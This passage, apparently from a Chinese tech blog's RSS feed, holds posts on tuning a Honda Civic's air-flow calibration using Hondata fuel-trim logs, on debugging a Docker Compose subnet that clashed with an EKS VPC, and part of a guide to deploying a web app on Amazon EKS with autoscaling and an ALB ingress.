上面这些表格主要都是一些限制,比如对于不同的 PA,进气温度等等的,可以减少在 TC Max Pressure 达到之后超过了某些预设限额导致涡轮超压,不过这里的限制一般都很高,不会撞上,但是依然可以作为排查的线索(比如设置了某个涡轮压力但是发现无论如何就是达不到的时候)。

Happy Lunar New Year

本文写就于除夕夜,一个人的夜晚,Hondata Datalog 作伴。

祝大家 2023 新春快乐!

References

  1. 涡轮那些事儿之三:关于涡轮增压系统的进气 ,主要关于进气管路,空气滤芯(风格),涡轮压力的相关知识 (网页镜像: https://archive.ph/EcHuE
  2. 十代思域避坑改装教程!三阶车主血泪写成!(技术贴)
]]>
什么是空燃比,燃油修正和 AFM 曲线——兼谈如何通过 Hondata Log 数据了解你的进气组件是否正常工作https://nova.moe/honda-afm-intake/Wed, 04 Jan 2023 19:00:00 +0800https://nova.moe/honda-afm-intake/本文是对于 AF/Trim 以及一些相关的知识学习后的笔记,作为一个非车辆工程相关的人,部分文章内容可能并不正确,仅供参考。

许多时候我们可能会为了性能的提升,或者显摆的需要,给自己的车换上和原厂进气组件不一样的进气套件,比如前段时间就给我的 FK7 换上了一个名叫 Injen EVOLUTION Cold Air Intake System - EVO1500 的进气系统,是和 进气升级 改不好比原厂还慢 这个视频中的同款进气,是一个使用干式滤芯的带风箱的进气系统。

但是在更换了进气组件之后,我就一直有一个疑惑,这个新的进气组件是否真的和原车兼容,我怎么知道它在正常工作呢?

Datalog

由于手上正好有 Hondata 的程序,所以在安装了进气之后很快我就插着 Hondata 开着车在外面录制了一段时间的数据流并拿回家分析。

虽然我们在官网上可以看到 Injen 对于这个进气的描述是「Dyno Proven gains of up to 13 hp and 12 lb-ft. of torque」和「Designed to work with the stock calibration」,但是在用 Hondata 实测的 Log 下(对应的程序是「Canada 2018 MT - Civic Turbo MT 2017,+6 psi high octane」原版)。

如果不勾选 Mod 中的「Injen CAI/SRI」的选项的话, KC 会常年在 68% 左右,而且开 10 分钟大概会出现 6-7 个 Knock,此时车开起来会有比较肉的感觉。

如果勾选了 Mod 中的「Injen CAI/SRI」的选项的话, KC 会恢复到 56% 左右,不太容易出现 Knock,相比较不勾选的情况下 0-100km/h 加速成绩可以再快 0.5s 左右。

所以从这一点来看即使使用了这个带风箱进气,使用 「Injen CAI/SRI」 依然是一个比原厂程序更好的选择,如果你用了这个进气,请不要盲目相信某些人说的不用调程序之类的,不然你的车可能一直在一个高 KC 下工作。

KC and Knock

上文中我使用了一个词叫做 KC,这个全称是 Knock Control,中文翻译——爆震指数,在 What is Knock Count and Knock Control (defined) 一文中有如下解释:

“Knock Control” = This parameter is the ECU’s determination of fuel quality. Movement here indicates the knock sensor hears what it thinks is knock activity, and reports to the ECU to apply a steeper ignition retard to avoid continued knock activity. This value is dynamic, and WILL move from time to time.

On Civic Si models, there doesn’t seem to be a forced rise at play at WOT like the non-Si 1.5T ECU’s (which naturally rise above 5,200-5,400rpm regardless of sensor input). Movement that goes up and up and up and never comes down is more concerning than movement alone. Knock control can typically be manipulated down by driving the car in a higher gear at lower engine speeds and targeting atmospheric pressure on the MAP sensor reading.

在另一个帖子( Has anyone used the Hondata +6 PSI tune on CVT with Regular Fuel )中,有网友表示

I really hate when people claim these cars don’t knock. The computer will do what it can to prevent it based on estimate algorithms combined with knock sensor activity but it surely isn’t ideal to have any knock control higher than the 49% or 54% depending on which tuning software your running. Period. Even stock.

从以上帖子的中我们可以总结出以下结论:

  • Knock Control 的高低主要取决于:油品质量,是否 WOT(节气门全开,可以理解为满油门),一些传感器数据,以及通过爆震传感器得到的数据(比如爆震传感器短时间内看到了一些 Knock ,那就会提升这个值)
  • 1.5T 非 Si 的思域的原厂程序会在 5000-5400rpm 及以上调高 Knock Control 的值(也就是 Artificial Knock)
  • 激烈驾驶后 Knock Control 会变高
  • 理想情况下 KC 的值应该是 54%(或者 0.54)

在上文中我们看到如果没有勾选「Injen CAI/SRI」选项的话 KC 会偏高,但是勾了之后 KC 就下来了,这里我们就需要了解这个选项具体是改变了什么。

AFR and Closed Loop

经过查阅资料之后我们可以知道,「Injen CAI/SRI」主要是改变了 AFM,那么什么是 AFM,以及为什么对它的修改会影响到 KC,这里我们需要先涉及到两个预备概念,分别是叫做:Closed Loop(闭环控制)和 AFR(空燃比)。

关于什么是闭环控制,打算直接抄袭一下 一次P0171/P0174燃油系统过稀(System too lean)故障的诊断过程 一文中的解释:

发动机的每个Bank各有两个氧传感器,前氧传感器位于排气歧管下游,三元催化器上游,负责给计算机反馈排气中的氧气含量数据。后氧传感器位于三元催化器下游,其数据不影响发动机的行为,只用于监控三元催化性能。氧传感器数据将被用于检测燃烧状况,如果氧传感器数据显示系统过稀(lean condition),计算机将会命令喷油嘴多喷油(rich command);反之(rich condition)则少喷油(lean command)。

发动机刚刚启动时会处于开环控制,因为氧传感器在温度不够的情况下无法读出数据。在氧传感器和水温都达到工作温度之后,系统则转入闭环控制。在一些特殊情况下,比如发动机刚启动时(即使已经达到工作温度),油门全开(Wide Open Throttle),计算机会强制使用开环控制。

而关于空燃比,Wiki 上的介绍是:

空燃比(Air-fuel ratio,簡稱AFR)是指在內燃機中,空氣與燃料的質量比。如果它恰好等於能使得燃料完全燃燒的化學計量比,則稱為化學計量空燃比。空燃比是減少排放和提高內燃機性能的一個非常重要的參數。

即燃燒此時空氣與燃料的質量比。 汽油的化學計量空燃比大約為14.7,柴油大約為14.3。

这里我们就会得出一个结论,发动机对于非 WOT (全油门)工况下喷油和燃烧的控制是需要多个传感器进行监控的,在一个理想状态下发动机需要控制好进气和喷油的量(达到最优空燃比 14.7),但是如何要知道空燃比我们就需要知道两个数据——喷油量和进气量,喷油量这个很好计算,毕竟现在都是电控缸内直喷了,而进气量的计算就需要进气流量传感器了。

进气流量传感器称为 MAF——Mass Air Flow sensor,一般会插在进气组件的管路上,找了一张十代思域的网图,白圈中的就是 MAF。

对于非 Si 的思域来说(比如我们普通的十代思域),MAF 读到的数据是一个 0~5V 之间的电压(而不是实际的单位为 g/s 的流量),为了让发动机能了解到对应的电压下实际上是多少流量的进气量,就会有 AFM 的设定,原厂的 AFM 曲线是根据原厂的进气风箱标定的,这个标定是一个表格,大概长这个样子:

但是在改装了进气之后,比如在我这个场景下实际进气量会比原厂的大的多,如果继续按照原厂的表格进行查询的话,同等电压下电脑会根据那个曲线得到一个比实际进气量低的值(比如电压是 3V,电脑一查表格以为是 40g/s 的进气量,便按照这个量来喷油燃烧,然而实际上已经吸入了 50g/s 的空气),这个时候发动机就会根据错误的进气量来决定喷油量,实际带来的效果就是 AFR (空燃比)不对了,实际进气更多,导致 AF 更高(喷油浓度变低),从而导致容易爆震和 KC 更高。

那电脑是怎么知道 AFR 不对的呢?上面我们提到,在大部分工况下,车的 ECU 是在闭环控制下运行的,在发动机的排气端还没有到三元催化的时候有个前氧传感器,这个传感器会知道燃烧剩余的氧气含量,如果少于某个值,那么就是油喷多了,如果大于某个值,那么肯定就是油喷少了,在上面这个工况下,前氧传感器发现尾气中有更多的样子,很快电脑就知道自己油喷多了,为了保证混合气充分燃烧,这里发动机就需要使用 S Trim 和 L Trim 进行修正。

这里也就是溜溜哥某一期节目中说的:你换了进气之后程序不跟着做修正的话电脑是会觉得很奇怪的。

Fuel Trim

为了让读者可以更加直观了解 Trim 的工作原理,这里放上一段我录制的数据的截图:

可以看到在选定的那个点上:

  • AF 是 15.81:1
  • AF CMD 是 14.97:1
  • S Trim 是 4%
  • L Trim 是 0%

这里我们可以得到以下信息:在这个工况下发动机希望缸内燃烧的空燃比是 14.97:1,但是根据前氧传感器计算出来得到的实际空燃比是 15.81:1,相比较希望的值而言油更稀,本着水多了加面,面多了加水的原则,发动机给了 4% 的 S Trim(短期燃油修正),让发动机多喷一些油来缓解这个情况。

在 Hondata 的网站上我们可以看到:

Normally short term fuel trim should be within the range of -10% to +10%,

Normally the long term fuel trim should range from -5% to +5%.

一般来说短期燃油修成在正负 10% 之间比较合理,长期燃油修正在正负 5% 之间比较合理,不过这个值不一定是越靠近 0 越好,在帖子 My 0 knock count, constant 54% knock control cal experience 中我们可以看到车主所在的一个常年很热的国家时, S Trim 在 -5%~-15% 之间车辆最稳定,如果想要刻意调到接近 0 的话反而容易出现爆震。

AFM

有了上面的知识之后我们就需要来反过来判断我们的 AFM 是否正确了,这里有一个判断小技巧,我们在录制了比如 20 分钟的数据并且导入 Hondata 之后,找到上面的 Advanced Graphs 中的 X-Y Graph.

然后 X 轴选 AFM.v ,Y 轴选 S Trim,并且只勾上 Closed Loop 工况数据,这样我们可以看到在 Log 的数据中不不同的 AFM.v 情况下的燃油修正情况了。

如果你看懂了上文的话,这里的指导原则就明确了,由于 AFM 是个曲线,如果有某一段区域你的实际进气情况和 AFM 不一致的话,必然会导致对应区域下的平均线严重偏离中心值,例如如果你的曲线中有某一段特别低(说明出现了大量的高短期修正),那么你就需要找到那一段对应的电压值范围,并在 AFM 中将对应区间内的数值调高一些,反之亦然。

以上,作为内燃机时代的一点小乐趣,希望可以给读到这里的读者一些帮助和参考~

]]>
我 EKS 内的 Pod 怎么连不上某个 EC2 了?奇怪的 Docker Compose 桥接网络 Debug 记https://nova.moe/debug-eks-ec2-connection-problem/Wed, 07 Dec 2022 12:00:00 +0800https://nova.moe/debug-eks-ec2-connection-problem/书接上回:「Web 应用想弹性扩缩容还必须用 AWS?在 Amazon Elastic Kubernetes Service (EKS) 上部署一个典型 Web App 的笔记」,已经有了一个 EKS 集群,并且已经成功将一些应用丢到 EKS 中跑起来了,但是由于历史遗留问题,还是有些应用是以 docker-compose 的方式跑在原有的 EC2 下的,且需要和 EKS 内的某些应用联动。

但是在联动的过程中,发现 EKS 的 Pod 始终无法连接到某一个 EC2,表现为所有的连接都会超时,ping 也不通,同 VPC 下的其他 EC2 都是可以正常连接的,于是针对这个问题进行排查。

Network

在网络层面,我们知道 EKS 和 EC2 不在一个 VPC 下,是通过 VPC Peering 和静态路由做通的:

EC2 VPC 段:

  • 172.31.0.0/16

EKS VPC 段:

  • 192.168.0.0/16

所有的 EC2 机器都没有开 UFW,也没有额外的 iptables 规则,SG 已经配置了允许来自 EKS VPC 的流量,这个也解释了为什么 EKS 内到其他的 EC2 和 RDS 之类的服务都是可以直接通的。

Service

所有 EC2 上的所有服务都是通过 docker-compose.yml 部署的,写法类似如下:

version: "3"
services:
  yyyy:
    image: ghcr.io/xxx/yyyy:latest
    restart: always
    ports:
      - '8080:8080'
    environment:
      DB_HOST: 'db'
      DB_PORT: '3306'
      DB_DATABASE: 'yyyy'
      DB_USERNAME: 'root'
      DB_PASSWORD: 'password'
      APP_DEBUG: 'true'
    volumes:
      - ./.env:/app/.env

  yyyy-service:
    image: ghcr.io/xxx/yyyy-service:latest
    restart: always
    environment:
      - DSN=root:password@tcp(db:3306)/yyyy?charset=utf8mb4&parseTime=True&loc=Local
      - REDIS=redis:6379
      - ENV=mini

    ports:
      - '8090:8080'

Docker 的安装方式也完全一致,但是就某一台 EC2 的机器没法从 EKS 内访问,接下来请聪明的读者花一柱香的时间想想看,这里可能会有什么奇怪的问题~

Debug

排查过程第一反应想到了是不是 UFW 或者 SG 设置不对,但是发现 UFW 根本没开,SG 也是通的,甚至其他的 EC2 都是可以访问的,百思不得其解,感觉 PingCAP 集群内 Pod 莫名无法联网的问题又逐渐回到了心头。

我不会这么背吧,用 EKS 也能遇到这种奇葩问题

看了一下 iptables 也没有奇怪的规则,正准备放弃并开始 Google 时,连接到 EC2 上的一个提示提醒了我:

Welcome to Ubuntu 22.04 LTS (GNU/Linux 5.15.0-1011-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Dec  7 03:32:08 UTC 2022

  System load:                      2.35498046875
  Usage of /:                       55.7% of 193.66GB
  Memory usage:                     79%
  Swap usage:                       0%
  Processes:                        721
  Users logged in:                  1
  IPv4 address for br-65abb51ee0f8: 172.24.0.1
  IPv4 address for br-69e9038f7cbe: 192.168.176.1
  IPv4 address for br-72d131ef9461: 172.19.0.1
  IPv4 address for br-777aba48864a: 192.168.96.1
  IPv4 address for br-a9e07fa9b259: 172.22.0.1
  IPv4 address for br-f06719849d74: 192.168.192.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens5:            172.31.5.22

  => There are 3 zombie processes.

事后发现这个是非常重要的一个提示,所以这里打算再等一柱香时间请聪明的读者想想看~

这里的主要问题就在于:IPv4 address for br-777aba48864a: 192.168.96.1 这个,为什么这个段看上去和 EKS 的段有重叠?

首先看到是 br 开头的网卡,第一反应就是 Docker 自己搞出来的 Network,通过 docker network ls 我们可以看到这些网络都是哪些容器在搞:

NETWORK ID     NAME                                                      DRIVER    SCOPE
72066261ca9e   bridge                                                    bridge    local
a9e07fa9b259   clickhouse_default                                        bridge    local
65abb51ee0f8   dddd_default                                              bridge    local
cabd6fc84675   xxxx-mxxxxxx_default                                      bridge    local
45ecdfc7a691   host                                                      host      local
777aba48864a   monitoring_default                                        bridge    local
4c95c382c5a8   none                                                      null      local
503d7d864c98   xxx-xxx-up_default                                        bridge    local
c5946111d925   redis-insight_default                                     bridge    local
ad1686916ed0   runner_default                                            bridge    local
72d131ef9461   novaext-data-availability-runnergro-rustct_default        bridge    local
69e9038f7cbe   novaext-data-availability-runnergro-mgolang-new_default   bridge    local
f06719849d74   novaext-data-availability-webassets-mgolang-new_default   bridge    local

可以看到比如 a9e07fa9b259 clickhouse_default 用的都是 172.22.0.1 这种看上去很合理的 IP,但是 f06719849d74 novaext-data-availability-webassets-mgolang-new_default 不知道为啥就开始用到了 192.168.192.1 这种 IP,正好和 EKS 内的段有重合,导致了上面的问题。

我们从 Networking in Compose 中结合实际经验可以知道:

By default Compose sets up a single network for your app. Each container for a service joins the default network and is both reachable by other containers on that network, and discoverable by them at a hostname identical to the container name.

查阅 docker network create 我们可以猜测 docker-compose 底层还是调用了 Docker 原生的的接口来创建网络,并且网段是由 Docker Engine 提供的:

When you create a network, Engine creates a non-overlapping subnetwork for the network by default

When starting the docker daemon, the daemon will check local network (RFC1918) ranges, and tries to detect if the range is not in use. The first range that is not in use, will be used as a the default “pool” to create networks.

https://github.com/moby/moby/issues/37823

至于这里 Engine 具体代码是怎么实现的, 我翻了好久的代码愣是没翻到,这里留个坑,之后找到了填上。

所以问题就很清晰了,这里的问题 Docker 启动的时候没有发现 EKS 也在用 192.168.0.0/16 段,于是认为这个段是可用的,然后生成 Bridged 的网络便和 EKS 网络段部分重叠了,导致 EKS 内的 Pod 无法连接到 EC2 上,至于为什么别的机器没问题,我也登录上去看了一下,发现只是正好没有开到 EKS 的段上而已。

Solution

对于这种问题有两种解决方法,第一种是通过修改 Docker 的 daemon.json,加入类似以下的内容,让 Bridged 的网络开到指定的网段下:

{
  "bip": "192.168.1.5/24", 
  "fixed-cidr": "192.168.1.5/25", 
  "default-address-pools":[
      { "base":"192.168.2.5/24", "size":28 }
  ]
}

这种方法需要修改之后重启整个 Docker,会导致服务下线一定的时间(尤其是如果容器比较多的话)。

另一个方法是在 docker-compose.yml 文件下方指定一下默认 Bridged 的网络的段,写法类似如下:

networks:
  default:
    driver: bridge
    ipam:
     config:
       - subnet: 10.7.0.0/16
         gateway: 10.7.0.1

修改完之后 docker-compose down && docker-compose up -d 重启一下对应的服务即可。

解决了上面的问题之后, EKS 到 EC2 之间的通信立马就恢复正常了。

Reference

  1. Networking in Compose
  2. How to change the default docker subnet IP range
  3. Configuring Docker to not use the 172.17.0.0 range
  4. Docker (compose?) suddenly creates bridge using 192.168.16.0/20 range #37823
]]>
Web 应用想弹性扩缩容还必须用 AWS?在 Amazon Elastic Kubernetes Service (EKS) 上部署一个典型 Web App 的笔记https://nova.moe/deploy-web-app-stack-on-eks/Mon, 05 Dec 2022 19:00:00 +0800https://nova.moe/deploy-web-app-stack-on-eks/本文是一篇笔记,方便后人踩坑,也方便自己在之后踩坑了之后回顾整个流程,阅读本文需要有以下预备知识/准备:

  • 一个没有欠费的 AWS 帐号
  • 已经可以容器化运行的应用程序,并且镜像已经推到了对应区域的 ECR 中或者为公开镜像

作为一个典型的 Web App,肯定是由 App Server ,Web Server 和 Database 构成,为了能做到比较可靠地弹性扩缩容,这里全部使用 AWS 平台,对应的就变成了 Container,Application Load Balancer 和 AWS RDS。

为了在 AWS 运行自己的容器,我们有如下的选择:

  • 自己开 EC2 上面装 Docker 跑(那这个性价比差的不如直接用 Hetzner)
  • 用 Amazon Elastic Container Service (Amazon ECS) (配置起来有点麻烦,不工业风)
  • 用 Amazon App Runner(这个很灵性,只能设置一个容器,而且和已有的 VPC 不通,用不了 RDS)
  • 用 Amazon Elastic Kubernetes Service (EKS) (也是本文的主要重点)

Amazon Elastic Kubernetes Service (EKS)

这个是 Amazon 维护的 Kubernetes 服务,我们都知道自己安装/维护一个 Kubernetes 肯定是个吃力不讨好的事情,节点证书续签,集群升级,网络插件等等都是摆在 K8s 初学者面前的一个个槛,考虑到我对 Kubernetes 一窍不通,且在 PingCAP 工作的时候干过很多这种奇葩事情,所以既然这里选择了用 K8s ,那还是专注 kubectl 一顿 apply 就好,剩下的事情和锅全部丢给服务商(a.k.a,AWS)来背。

关于价格,文档上是这么说的: You pay $0.10 per hour for each Amazon EKS cluster that you create.,也就是说一个月它的控制面就会直接吃掉你的 72USD ,此外机器的钱是另算的,相比较 DigitalOcean/Vultr/Linode 这种免费控制面的服务商来说, AWS 贵了不少。

Create Cluster

既然是记录,我们就尽快开始我们的整个流程,这里主要参考了以下两个文档:

感觉上述两个文档对于 Quick Start 而言比 AWS 官方文档不知道高到哪儿去了。

eksctl, kubectl and aws

这里需要保证 eksctlkubectlaws 已经安装,可以参考 AWS 的两篇文章:

eksctl 的官网上虽然说的是 The official CLI for Amazon EKS,但是底下有一句 created by Weaveworks and it welcomes contributions from the community,非常灵性。

如果你和我一样用的 Linux 的话,直接复制我的指令吧~

curl --silent --location "https://github.com/weaveworks/eksctl/releases/latest/download/eksctl_$(uname -s)_amd64.tar.gz" | tar xz -C /tmp
sudo mv /tmp/eksctl /usr/bin
eksctl version

curl -o kubectl https://s3.us-west-2.amazonaws.com/amazon-eks/1.24.7/2022-10-31/bin/linux/amd64/kubectl
chmod +x ./kubectl
sudo mv ./kubectl /usr/bin/

curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install

AWS Credentials

首先你需要登录你的控制台拿到 Credentials 并放到 ~/.aws/credentials 文件中(也就是 GitHub 上经常看到别人泄漏的这个部分:

[default]
aws_access_key_id = AKHAHAHAHAHAH6HPS6R
aws_secret_access_key = NOjlIsTHAHAHAHAHAHAHAHAHAHAHSOUsX
region = ap-northeast-1

[nova]
aws_access_key_id = AKHBABABABABABH6HPS6R
aws_secret_access_key = NOjlIsTHAABABABABAAHAHSOUsX
region = ap-southeast-1

Cluster

如果你的 ~/.aws/credentials 文件中上上述例子中有多个 Profile 的话,可以通过在命令前面加入 AWS_PROFILE=<name> 来使用对应 Profile。

通过这个命令可以快速创建一个叫 novacluster 的 EKS Cluster, eksctl 背后会创建一个 Cloudformation 来处理所有我们不想自己处理的细节(什么 IAM 啦,什么 Tag 啦),这一步一般需要等 10+ 分钟。

eksctl create cluster --name=novacluster --without-nodegroup --region=ap-southeast-1

接下来我们需要创建一个 OIDC identity provider。

eksctl utils associate-iam-oidc-provider \
    --region ap-southeast-1 \
    --cluster novacluster \
    --approve

然后我们创建一个叫 worker-group 的 NodeGroup,也就是实际用来跑负载的机器:

eksctl create nodegroup --cluster=novacluster --region=ap-southeast-1 --name=worker-group --node-type=t3.medium --nodes=3 --nodes-min=2 --nodes-max=10 --node-volume-size=20 --managed --asg-access --full-ecr-access --alb-ingress-access

这里有个建议,不要用 Free Tier 的 t3.micro,不然后续在部署 cluster-autoscaler 的时候会遇到 Insufficient memory 的问题,因为它需要 600Mi 的内存,而 t3.micro 啥都不跑的时候就只剩下 400Mi 了。

如果你搞错了,那建议先创建一个配置更高新的 Nodegroup ,然后用 eksctl delete nodegroup --cluster=novacluster --name=worker-group --region=ap-southeast-1 删掉老的 Nodegroup

这个类似核酸检测,要先考虑全部场所取消核酸检测核验之后再去撤掉核酸检测点,不能反过来,但是有些人就是想不明白,导致的后果就是你的 Pod 会和市民一样在寒风中 Pending 很久。

这个时候我们的集群已经创建好了,为了让本地 kubectl 可以使用,我们需要用 AWS Cli 来获得 kubeconfig,指令是这样的:

aws eks update-kubeconfig --region ap-southeast-1 --name novacluster

这个时候我们 kubectl 应该已经可以用了, 试试看:

kubectl get no
NAME                                                STATUS   ROLES    AGE   VERSION
ip-192-168-26-67.ap-southeast-1.compute.internal    Ready    <none>   98m   v1.23.13-eks-fb459a0
ip-192-168-42-176.ap-southeast-1.compute.internal   Ready    <none>   75m   v1.23.13-eks-fb459a0
ip-192-168-46-84.ap-southeast-1.compute.internal    Ready    <none>   98m   v1.23.13-eks-fb459a0
ip-192-168-72-96.ap-southeast-1.compute.internal    Ready    <none>   75m   v1.23.13-eks-fb459a0
ip-192-168-75-202.ap-southeast-1.compute.internal   Ready    <none>   98m   v1.23.13-eks-fb459a0

此时,我们的集群,机器都已经可用了,同时 Eksctl 也创建了一堆 VPC 和 Subnet。

我们注意到这里默认的 Subnet 的 VPC 是 vpc-1f2a1f78 ,对应的段是 172.31.0.0/20 ,而 eksctl 搞出来的段是 192.168.0.0/19 ,这也导致了之后配置 App 连接 RDS 时不能像 EC2 连接 RDS 一样在一个 VPC 下内网互通,而需要使用 VPC Peering。

Node AutoScale

如果你想手动给集群扩缩容 Node 的话,可以用这个指令:

eksctl scale nodegroup --cluster=novacluster --region ap-southeast-1 --nodes=5 worker-group

我知道我们在创建集群的时候已经指定了 --nodes=3 --nodes-min=2 --nodes-max=10,这个时候你可能会想:

「啊,那 AWS 肯定就会自动在 2 ~ 10 个节点之间根据集群情况自动弹性扩缩容吧?」

如果你想让 Node 自动扩缩容的话,需要手动搞一个 cluster-autoscaler

真的,EKS 已经 Manage 这么多了,为什么 Scale 机器不能集成做成一个 Addon 点一下自动安装,或者像 DigitalOcean DOKS 一样默认自带?

指令如下,先创建一个 Policy 允许 Autoscale,创建一个叫 cluster-autoscaler-policy.json 的文件,内容如下:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "autoscaling:SetDesiredCapacity",
                "autoscaling:TerminateInstanceInAutoScalingGroup"
            ],
            "Resource": "*",
            "Condition": {
                "StringEquals": {
                    "aws:ResourceTag/k8s.io/cluster-autoscaler/my-cluster": "owned"
                }
            }
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": [
                "autoscaling:DescribeAutoScalingInstances",
                "autoscaling:DescribeAutoScalingGroups",
                "ec2:DescribeLaunchTemplateVersions",
                "autoscaling:DescribeTags",
                "autoscaling:DescribeLaunchConfigurations"
            ],
            "Resource": "*"
        }
    ]
}

记得把 my-cluster 改为你自己 EKS Cluster 的名字,不然等着报错~

之后用 AWS 工具给 Apply 上去:

aws iam create-policy \
    --policy-name AmazonEKSClusterAutoscalerPolicy \
    --policy-document file://cluster-autoscaler-policy.json

然后用 eksctl 创建一个 IAM Service Account 并 Attach 上刚刚的 Policy

eksctl create iamserviceaccount \
  --cluster=novacluster --region=ap-southeast-1 \
  --namespace=kube-system \
  --name=cluster-autoscaler \
  --attach-policy-arn=arn:aws:iam::111122223333:policy/AmazonEKSClusterAutoscalerPolicy \
  --override-existing-serviceaccounts \
  --approve

之后就开始安装 cluster-autoscaler, 非常 Cloud Naive 。

curl -o cluster-autoscaler-autodiscover.yaml https://raw.githubusercontent.com/kubernetes/autoscaler/master/cluster-autoscaler/cloudprovider/aws/examples/cluster-autoscaler-autodiscover.yaml
sed -i.bak -e 's|<YOUR CLUSTER NAME>|novacluster|' ./cluster-autoscaler-autodiscover.yaml
kubectl apply -f cluster-autoscaler-autodiscover.yaml

kubectl annotate serviceaccount cluster-autoscaler \
  -n kube-system \
  eks.amazonaws.com/role-arn=arn:aws:iam::111122223333:role/AmazonEKSClusterAutoscalerRole

kubectl patch deployment cluster-autoscaler \
  -n kube-system \
  -p '{"spec":{"template":{"metadata":{"annotations":{"cluster-autoscaler.kubernetes.io/safe-to-evict": "false"}}}}}'

之后就可以通过 kubectl -n kube-system logs -f deployment.apps/cluster-autoscaler 看 Log 来判断 cluster-autoscaler 是否已经正常工作了,此时如果有什么没法 Schedule 的 Pod ,这个东西就会自动给你开新的机器用来扩容了。类似的,如果你的资源很少的话,它会帮你把你的 Node 给动态清零。

Application Load Balancer Controller

我们需要对外暴露我们的应用,所以需要一个 Load Balancer,价格是 $0.0225 per Application Load Balancer-hour (or partial hour) + $0.008 per LCU-hour (or partial hour),就是说你即使啥流量都没有,也要 18USD/mo。

要在 EKS 中集成对于 ALB(Application Load Balancer) ,需要手动安装 Application Load Balancer Controller 并给对应的 subnet 打 tag ,在上述 eksctl create nodegroup 中我们看到有一个 --alb-ingress-access 只是帮我们做了后半部分,安装 Controller 还是得自己手动来,具体流程如下,

创建 IAMPolicy:

curl -o iam_policy.json https://raw.githubusercontent.com/kubernetes-sigs/aws-load-balancer-controller/v2.4.4/docs/install/iam_policy.json
aws iam create-policy \
    --policy-name AWSLoadBalancerControllerIAMPolicy \
    --policy-document file://iam_policy.json

先用 eksctl 创建一个叫 aws-load-balancer-controller 的 ServiceAccount 供后续 ALB Controller 使用,记得替换 111122223333 为你的 Account ID。

eksctl create iamserviceaccount \
  --cluster=novacluster \
  --region=ap-southeast-1 \
  --namespace=kube-system \
  --name=aws-load-balancer-controller \
  --role-name "AmazonEKSLoadBalancerControllerRole" \
  --attach-policy-arn=arn:aws:iam::111122223333:policy/AWSLoadBalancerControllerIAMPolicy \
  --approve

然后安装 cert-manager 和 Controller,纯粹看着文档复制粘贴即可。

kubectl apply \
    --validate=false \
    -f https://github.com/jetstack/cert-manager/releases/download/v1.5.4/cert-manager.yaml
curl -Lo v2_4_4_full.yaml https://github.com/kubernetes-sigs/aws-load-balancer-controller/releases/download/v2.4.4/v2_4_4_full.yaml
sed -i.bak -e '480,488d' ./v2_4_4_full.yaml
sed -i.bak -e 's|your-cluster-name|novacluster|' ./v2_4_4_full.yaml

kubectl apply -f v2_4_4_full.yaml
kubectl apply -f https://github.com/kubernetes-sigs/aws-load-balancer-controller/releases/download/v2.4.4/v2_4_4_ingclass.yaml

此时我们可以验证一下这个 Controller 是否已经正确安装:

kubectl get deployment -n kube-system aws-load-balancer-controller
NAME                           READY   UP-TO-DATE   AVAILABLE   AGE
aws-load-balancer-controller   1/1     1            1           95m

完整文档在 Installing the AWS Load Balancer Controller add-on,如果你不放心的话可以复制粘贴那个文档上的,但是真的,EKS 已经 Manage 这么多了,为什么 ALB 集成不能做成一个 Addon 点一下自动安装?

此时我们看看 AWS 网页上面,你的集群中应该有如下 Deployments 了:

Application

终于,有了上述的集群准备和 Load balancer Controller 之后,可以部署我们的应用啦,为了方便和干净起见,我们整一个叫 novaapp 的 Namespace 并且把所有资源都丢到这个 Namespace 下,并让 AWS 自动给我们加上 Load Balancer 用于对外访问:

---
apiVersion: v1
kind: Namespace
metadata:
  name: novaapp
---
apiVersion: apps/v1
kind: Deployment
metadata:
  namespace: novaapp
  name: novaapp-mini-deployment
  labels:
    app: novaapp-mini
spec:
  replicas: 2
  selector:
    matchLabels:
      app: novaapp-mini
  template:
    metadata:
      labels:
        app: novaapp-mini
    spec:
      containers:
        - name: novaapp
          imagePullPolicy: Always
          image: '111122223333.dkr.ecr.ap-southeast-1.amazonaws.com/novaapp:latest'
          env:
            - name: DB_HOST
              value: "novards.c4s0xipwdxny.ap-southeast-1.rds.amazonaws.com"
            - name: APP_DEBUG
              value: "true"
            - name: DB_PORT
              value: "3306"
            - name: DB_DATABASE
              value: "novaapp"
            - name: DB_USERNAME
              value: "admin"
            - name: DB_PASSWORD
              value: "password"
          resources:
            limits:
              cpu: 500m
---
apiVersion: v1
kind: Service
metadata:
  namespace: novaapp
  name: novaapp-mini-service
spec:
  ports:
    - port: 80
      targetPort: 80
      protocol: TCP
  type: NodePort
  selector:
    app: novaapp-mini
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  namespace: novaapp
  name: ingress-novaapp
  annotations:
    alb.ingress.kubernetes.io/scheme: internet-facing
    alb.ingress.kubernetes.io/target-type: ip
    alb.ingress.kubernetes.io/healthcheck-path: /healthz
spec:
  ingressClassName: alb
  rules:
    - http:
        paths:
        - path: /
          pathType: Prefix
          backend:
            service:
              name: novaapp-mini-service
              port:
                number: 80
---
apiVersion: autoscaling/v1
kind: HorizontalPodAutoscaler
metadata:
  namespace: novaapp
  name: novaapp-mini-autoscaler
spec:
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: novaapp-mini-deployment
  minReplicas: 2
  maxReplicas: 20
  targetCPUUtilizationPercentage: 10

看上去很长?是的,这就是大家推崇的 Cloud Naive Way!

其实只要仔细看就会发现这是一个整套组件,从上到下分为 Namespace,Deployment(实际的应用),Service(用 NodePort 暴露整个应用并提供负载均衡,Ingress(让 AWS 创建一个 ALB 来把流量引到 Service 上,并显式指定了 /healthz 作为健康检查,不然如果你的 / 会返回 404 的话服务会一直 503),HorizontalPodAutoscaler(如果一个 Pod CPU 使用率大于 10% 就自动创建更多的 Pod,最多创建 20 个,用于弹性扩容 Pod)。

这里也同时可以测试一下比如修改 Replica 到一个比较大的值,观察在所有 Node 都已经满了的时候 cluster-autoscaler 是否能正常创建新的 Node 加入到集群中使用。

ALB SSL

在上面的案例中,我们的 ALB 配置是这样的:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  namespace: novaapp
  name: ingress-novaapp
  annotations:
